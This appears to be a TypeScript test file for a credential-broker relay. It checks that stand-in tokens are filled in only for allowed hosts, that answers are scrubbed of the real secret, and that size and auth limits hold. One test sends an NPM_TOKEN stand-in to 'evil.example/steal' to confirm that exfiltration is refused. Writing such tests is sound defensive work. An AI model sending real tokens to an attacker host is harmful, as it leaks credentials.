Pick any line to see why it is the way it is: the commit, the pull request and issue it came from, and what the agent was thinking.
| Merge branch 'main' into rm-agents | 1 | import assert from "node:assert/strict"; |
| 2 | import { test } from "node:test"; | |
| 3 | ||
| 4 | import type { BrokeredSecret } from "@g1t/contracts"; | |
| 5 | ||
| 6 | import { | |
| 7 | ANSWER_HEADER, | |
| 8 | MAX_REQUEST_BYTES, | |
| 9 | REQUEST_HEADER, | |
| 10 | type RelayDeps, | |
| 11 | answerHeaders, | |
| 12 | capped, | |
| 13 | readCapped, | |
| 14 | readRelayed, | |
| 15 | relay, | |
| 16 | replaceBytes, | |
| 17 | scrubStream, | |
| 18 | scrubbedType, | |
| 19 | } from "./broker-relay.ts"; | |
| 20 | ||
| 21 | const NPM: BrokeredSecret = { | |
| 22 | standIn: `g1tsec_${"a".repeat(48)}`, | |
| 23 | name: "NPM_TOKEN", | |
| 24 | value: "npm_realvalue123", | |
| 25 | hosts: ["registry.npmjs.org"], | |
| 26 | }; | |
| 27 | ||
| 28 | const b64 = (value: unknown) => btoa(JSON.stringify(value)); | |
| 29 | ||
| 30 | function brokerRequest( | |
| 31 | wanted: { method?: string; url: string; headers?: [string, string][] }, | |
| 32 | options: { token?: string; job?: string; body?: BodyInit; header?: string } = {}, | |
| 33 | ): Request { | |
| 34 | const headers = new Headers({ "x-g1t-broker-job": options.job ?? "job_1" }); | |
| 35 | if (options.token !== "") headers.set("authorization", `Bearer ${options.token ?? "current"}`); | |
| 36 | headers.set(REQUEST_HEADER, options.header ?? b64({ method: wanted.method ?? "GET", url: wanted.url, headers: wanted.headers ?? [] })); | |
| 37 | return new Request("https://runner/rpc/broker", { method: "POST", headers, body: options.body }); | |
| 38 | } | |
| 39 | ||
| 40 | type Seen = { sent: Request[]; notes: string[] }; | |
| 41 | ||
| 42 | function deps(answer: (request: Request) => Response, secrets: BrokeredSecret[] | null = [NPM]): RelayDeps & { seen: Seen } { | |
| 43 | const seen: Seen = { sent: [], notes: [] }; | |
| 44 | return { | |
| 45 | seen, | |
| 46 | async secrets(_job, token) { | |
| 47 | return token === "current" ? secrets : null; | |
| 48 | }, | |
| 49 | async note(_job, _token, text) { | |
| 50 | seen.notes.push(text); | |
| 51 | }, | |
| 52 | async send(request) { | |
| 53 | seen.sent.push(request); | |
| 54 | return answer(request); | |
| 55 | }, | |
| 56 | }; | |
| 57 | } | |
| 58 | ||
| 59 | function answerOf(response: Response): { status: number; headers: [string, string][] } { | |
| 60 | return JSON.parse(atob(response.headers.get(ANSWER_HEADER) ?? "")); | |
| 61 | } | |
| 62 | ||
| 63 | test("a request carrying a stand-in for its host is filled in, sent, and its answer scrubbed", async () => { | |
| 64 | const d = deps( | |
| 65 | (request) => | |
| 66 | new Response(`{"token":"${request.headers.get("authorization")?.slice(7)}"}`, { | |
| 67 | status: 201, | |
| 68 | headers: { "content-type": "application/json", "x-echo": "npm_realvalue123", "content-encoding": "gzip" }, | |
| 69 | }), | |
| 70 | ); | |
| 71 | const response = await relay( | |
| 72 | brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`], ["connection", "keep-alive"]] }), | |
| 73 | d, | |
| 74 | ); | |
| 75 | assert.equal(response.status, 200); | |
| 76 | assert.equal(d.seen.sent.length, 1); | |
| 77 | const sent = d.seen.sent[0]; | |
| 78 | assert.equal(sent.headers.get("authorization"), "Bearer npm_realvalue123"); | |
| 79 | assert.equal(sent.headers.get("connection"), null, "the connection's own headers go no further"); | |
| 80 | assert.equal(sent.redirect, "manual"); | |
| 81 | const answer = answerOf(response); | |
| 82 | assert.equal(answer.status, 201); | |
| 83 | assert.deepEqual(Object.fromEntries(answer.headers)["x-echo"], NPM.standIn); | |
| 84 | assert.equal(Object.fromEntries(answer.headers)["content-encoding"], undefined, "the body is relayed decoded"); | |
| 85 | const body = await response.text(); | |
| 86 | assert.equal(body, `{"token":"${NPM.standIn}"}`); | |
| 87 | assert.ok(!JSON.stringify(answer).includes(NPM.value) && !body.includes(NPM.value)); | |
| 88 | assert.deepEqual(d.seen.notes, []); | |
| 89 | }); | |
| 90 | ||
| 91 | test("a body is relayed, and one past the limit is refused", async () => { | |
| 92 | const d = deps(async () => new Response(null, { status: 204 })); | |
| 93 | const ok = await relay( | |
| 94 | brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: "tarball" }), | |
| 95 | d, | |
| 96 | ); | |
| 97 | assert.equal(answerOf(ok).status, 204); | |
| 98 | assert.equal(await d.seen.sent[0].text(), "tarball"); | |
| 99 | const big = new Uint8Array(MAX_REQUEST_BYTES + 1); | |
| 100 | const tooBig = await relay( | |
| 101 | brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: big }), | |
| 102 | d, | |
| 103 | ); | |
| 104 | assert.equal(tooBig.status, 413); | |
| 105 | assert.equal(d.seen.sent.length, 1, "nothing more was sent"); | |
| 106 | }); | |
| 107 | ||
| 108 | test("it is no open proxy: no stand-in, another host, or plain HTTP is refused and noted", async () => { | |
| 109 | const d = deps(() => new Response("never")); | |
| 110 | const none = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg" }), d); | |
| 111 | assert.equal(none.status, 403); | |
| 112 | assert.equal(none.headers.get(ANSWER_HEADER), null); | |
| 113 | const elsewhere = await relay(brokerRequest({ url: "https://evil.example/steal", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); | |
| 114 | assert.equal(elsewhere.status, 403); | |
| 115 | const plain = await relay(brokerRequest({ url: "http://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); | |
| 116 | assert.equal(plain.status, 403); | |
| 117 | assert.equal(d.seen.sent.length, 0); | |
| 118 | assert.equal(d.seen.notes.length, 3); | |
| 119 | assert.match(d.seen.notes[0], /without a stand-in/); | |
| 120 | assert.match(d.seen.notes[1], /NPM_TOKEN was sent to evil\.example/); | |
| 121 | // Once per secret and host. | |
| 122 | await relay(brokerRequest({ url: "https://evil.example/again", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); | |
| 123 | assert.equal(d.seen.notes.length, 3); | |
| 124 | }); | |
| 125 | ||
| 126 | test("only the job's current token opens it, and it must come as a header", async () => { | |
| 127 | const d = deps(() => new Response("never")); | |
| 128 | const wanted = { url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] as [string, string][] }; | |
| 129 | assert.equal((await relay(brokerRequest(wanted, { token: "spent" }), d)).status, 401); | |
| 130 | assert.equal((await relay(brokerRequest(wanted, { token: "" }), d)).status, 401); | |
| 131 | assert.equal((await relay(brokerRequest(wanted, { header: "not base64 json" }), d)).status, 400); | |
| 132 | assert.equal((await relay(brokerRequest({ ...wanted, method: "CONNECT" }), d)).status, 400); | |
| 133 | assert.equal(d.seen.sent.length, 0); | |
| 134 | }); | |
| 135 | ||
| 136 | test("a request has a time limit", async () => { | |
| 137 | const d = deps(() => new Response("ok")); | |
| 138 | await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); | |
| 139 | assert.ok(d.seen.sent[0].signal instanceof AbortSignal); | |
| 140 | }); | |
| 141 | ||
| 142 | test("an answer past the limit is refused by its length, or cut off as it streams", async () => { | |
| 143 | const d = deps(() => new Response("x", { headers: { "content-length": String(2 * 1024 * 1024 * 1024) } })); | |
| 144 | const response = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); | |
| 145 | assert.equal(response.status, 502); | |
| 146 | const cut = new Response(new Blob(["12345"]).stream().pipeThrough(capped(3))); | |
| 147 | await assert.rejects(cut.text()); | |
| 148 | }); | |
| 149 | ||
| 150 | test("a value split across chunks is still scrubbed, and other bytes pass as they are", async () => { | |
| 151 | const pairs = [{ from: new TextEncoder().encode("secret"), to: new TextEncoder().encode("STAND") }]; | |
| 152 | const one = replaceBytes(new TextEncoder().encode("a secret here"), pairs, true); | |
| 153 | assert.equal(new TextDecoder().decode(one.out), "a STAND here"); | |
| 154 | // The last bytes that could begin a value wait for the next chunk. | |
| 155 | const held = replaceBytes(new TextEncoder().encode("xx sec"), pairs, false); | |
| 156 | assert.equal(new TextDecoder().decode(held.out), "x"); | |
| 157 | assert.equal(new TextDecoder().decode(held.rest), "x sec"); | |
| 158 | ||
| 159 | const chunks = ["{\"t\":\"npm_real", "value123\",\"u\":\"npm_", "realvalue123\"}"]; | |
| 160 | const source = new ReadableStream<Uint8Array>({ | |
| 161 | start(controller) { | |
| 162 | for (const chunk of chunks) controller.enqueue(new TextEncoder().encode(chunk)); | |
| 163 | controller.close(); | |
| 164 | }, | |
| 165 | }); | |
| 166 | const text = await new Response(source.pipeThrough(scrubStream([NPM]))).text(); | |
| 167 | assert.equal(text, `{"t":"${NPM.standIn}","u":"${NPM.standIn}"}`); | |
| 168 | }); | |
| 169 | ||
| 170 | test("text bodies are scrubbed whatever their size; binary ones stream as they are", () => { | |
| 171 | assert.ok(scrubbedType(new Headers({ "content-type": "application/json; charset=utf-8" }))); | |
| 172 | assert.ok(scrubbedType(new Headers({ "content-type": "text/html" }))); | |
| 173 | assert.ok(scrubbedType(new Headers({ "content-type": "application/vnd.api+json" }))); | |
| 174 | assert.ok(scrubbedType(new Headers())); | |
| 175 | assert.ok(!scrubbedType(new Headers({ "content-type": "application/octet-stream" }))); | |
| 176 | assert.ok(!scrubbedType(new Headers({ "content-type": "application/gzip" }))); | |
| 177 | }); | |
| 178 | ||
| 179 | test("the request reads only in its own shape, and answer headers keep each cookie", async () => { | |
| 180 | assert.deepEqual(readRelayed(b64({ method: "get", url: "https://a.example/", headers: [["a", "1"]] })), { | |
| 181 | method: "GET", | |
| 182 | url: "https://a.example/", | |
| 183 | headers: [["a", "1"]], | |
| 184 | }); | |
| 185 | assert.equal(readRelayed(b64({ method: "GET", url: "https://a.example/", headers: [["a", 1]] })), null); | |
| 186 | assert.equal(readRelayed(null), null); | |
| 187 | const headers = new Headers({ "content-type": "text/plain", "transfer-encoding": "chunked" }); | |
| 188 | headers.append("set-cookie", "a=1"); | |
| 189 | headers.append("set-cookie", "b=2"); | |
| 190 | assert.deepEqual(answerHeaders(headers), [ | |
| 191 | ["content-type", "text/plain"], | |
| 192 | ["set-cookie", "a=1"], | |
| 193 | ["set-cookie", "b=2"], | |
| 194 | ]); | |
| 195 | assert.deepEqual(await readCapped(new Blob(["abc"]).stream(), 3), new TextEncoder().encode("abc")); | |
| 196 | assert.equal(await readCapped(new Blob(["abcd"]).stream(), 3), null); | |
| 197 | }); |
This file's history is long; its oldest lines are credited to the oldest commit read.